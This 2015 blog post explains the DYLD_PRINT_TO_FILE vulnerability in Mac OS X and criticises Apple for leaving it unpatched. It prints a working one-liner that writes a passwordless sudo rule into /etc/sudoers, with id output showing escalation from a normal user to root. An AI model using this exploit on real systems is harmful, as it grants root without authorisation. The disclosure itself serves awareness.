Apple’s DYLD_PRINT_TO_FILE vulnerability: from zero to root in 2 seconds

Want to help support this blog? Try out Oh Dear, the best all-in-one monitoring tool for your entire website, co-founded by me (the guy that wrote this blogpost). Start with a 10-day trial, no strings attached.

We offer uptime monitoring, SSL checks, broken links checking, performance & cronjob monitoring, branded status pages & so much more. Try us out today!

Profile image of Mattias Geniar

Mattias Geniar, August 12, 2015

Follow me on Twitter as @mattiasgeniar

Several weeks ago, a vulnerability in Apple’s logging implementation was discovered by Stefan Esser (known for the jailbreaks of your IOS devices). To this day, the vulnerability remains unpatched.

It’s trivially simple to get a root account, once you have a normal system account on a Mac OSX system.

By default, sudo is protected by your account password.

$ sudo su -
Password:

However, if you abuse the DYLD_PRINT_TO_FILE vulnerability, you instantly get root.

$ id
uid=1390866408(mattias)

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp <<< 'echo "$USER ALL=(ALL) NOPASSWD:ALL" >&3'; sudo -s

$ id
uid=0(root) gid=0(wheel)

A single one-liner that elevates your privileges and bypasses sudo altogether.

It’s one thing that this happened. It’s software, we expect bugs. It’s quite another that this problem still isn’t patched after weeks of the exploit being known in the wild.



Want to subscribe to the cron.weekly newsletter?

I write a weekly-ish newsletter on Linux, open source & webdevelopment called cron.weekly.

It features the latest news, guides & tutorials and new open source projects. You can sign up via email below.

No spam. Just some good, practical Linux & open source content.